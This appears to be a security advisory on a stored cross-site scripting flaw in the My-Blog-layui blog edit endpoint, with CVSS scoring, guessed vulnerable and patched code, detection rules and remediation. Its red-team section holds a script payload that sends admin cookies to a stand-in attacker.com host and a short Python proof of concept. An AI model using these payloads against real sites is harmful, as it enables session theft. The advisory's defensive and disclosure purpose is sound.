CVE-2025-3591

Executive Summary

CVE-2025-3591 is a stored cross-site scripting (XSS) vulnerability in the ZHENFENG13/code-projects My-Blog-layui application, version 1.0. The flaw resides in the /admin/v1/blog/edit endpoint, where multiple parameters are not properly sanitized before being rendered. An authenticated attacker can inject arbitrary JavaScript, leading to session theft, defacement, or redirection. The vendor was contacted but did not respond, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This is a custom PHP/JavaScript application (not an NPM, PyPI, Go, or Ruby package). The risk is limited to direct deployments of the My-Blog-layui codebase. No transitive dependency issues are present.

CVSS Breakdown & Threat Level

CVSS Score: 4.7 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need authentication to trigger the XSS (though the vulnerable endpoint is in the admin panel, the injected payload can be triggered by an admin viewing the content).
• User Interaction (UI): Required – The victim must click a link or view the crafted content.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The exploit is public, but the application is not widely deployed. Attackers would target specific instances.

Deep Dive & Mechanics

The vulnerability exists in the blog editing functionality. The /admin/v1/blog/edit endpoint accepts parameters such as title, content, and tags. These parameters are reflected in the admin panel without proper encoding or sanitization. An attacker with access to the admin panel (or who can trick an admin into submitting a crafted request) can inject JavaScript that executes in the context of the admin's browser.

Root Cause: The application uses the layui front-end framework but does not apply output encoding when rendering user-supplied data in the edit form. The server-side PHP code likely echoes the input directly into the HTML without using htmlspecialchars() or similar functions.

Attack Flow:

1. Attacker identifies a vulnerable My-Blog-layui instance.
2. Attacker logs in (or tricks an admin) and navigates to the blog edit page.
3. Attacker injects a payload like <script>alert('XSS')</script> into the title parameter.
4. When the admin (or any user) views the blog post, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (PHP – likely in edit.php or similar):

<?php
$title = $_POST['title'];
// Directly output without sanitization
echo "<input type='text' name='title' value='$title'>";
?>

Patched Code (PHP):

<?php
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='title' value='$title'>";
?>

JavaScript (Vulnerable):

// Using innerHTML without sanitization
document.getElementById('title').innerHTML = response.title;

JavaScript (Patched):

// Use textContent or sanitize
document.getElementById('title').textContent = response.title;

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy My-Blog-layui 1.0 on a local server (e.g., XAMPP or Docker).
2. Access the admin panel at http://localhost/admin/.
3. Log in with default credentials (if any) or create an account.

Exploit Steps:

1. Intercept the blog edit request using Burp Suite.
2. Modify the title parameter to:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the request.
4. When an admin views the blog, the cookie is exfiltrated.

Proof-of-Concept (Python):

import requests

target = "http://localhost/admin/v1/blog/edit"
payload = "<script>alert('XSS')</script>"
data = {"title": payload, "content": "test", "tags": "test"}
cookies = {"PHPSESSID": "your_session_id"}

response = requests.post(target, data=data, cookies=cookies)
print("Payload sent. Check admin panel.")

Blue Team

Detection:

• Monitor for unusual parameters in POST requests to /admin/v1/blog/edit.
• Look for <script> tags or event handlers (e.g., onload, onerror) in form submissions.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search logs for %3Cscript%3E (URL-encoded <script>).
• Check database entries for HTML/JavaScript in blog fields.

Indicators of Compromise (IOCs)

• Network: POST requests to /admin/v1/blog/edit with suspicious parameters.
• File: Modified blog entries containing <script> tags.
• Log: PHP error logs showing unexpected HTML output.
• Cookie: Unexpected cookies set by injected scripts (e.g., steal).

Detection Engineering

YARA Rule

rule CVE_2025_3591_XSS {
    meta:
        description = "Detects XSS payloads targeting My-Blog-layui edit endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3591"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $endpoint = "/admin/v1/blog/edit"
    condition:
        any of ($xss*) and $endpoint
}

Sigma Rule

title: CVE-2025-3591 XSS Attempt on My-Blog-layui
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in POST requests to /admin/v1/blog/edit
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/admin/v1/blog/edit"
    keywords:
        - "<script"
        - "onerror="
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in blog content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3591 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/v1/blog/edit"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Disable the blog edit functionality if not required.
2. Apply input validation and output encoding on all parameters.
3. Use a Web Application Firewall (WAF) to block XSS patterns.

Long-term:

1. Upgrade to a patched version (if available) or migrate to a maintained CMS.
2. Implement Content Security Policy (CSP) headers to restrict script execution.
3. Conduct regular security audits and penetration testing.

Workaround:

• Manually patch the PHP files by adding htmlspecialchars() to all echoed user inputs.

Valters IT
Securing Digital Frontiers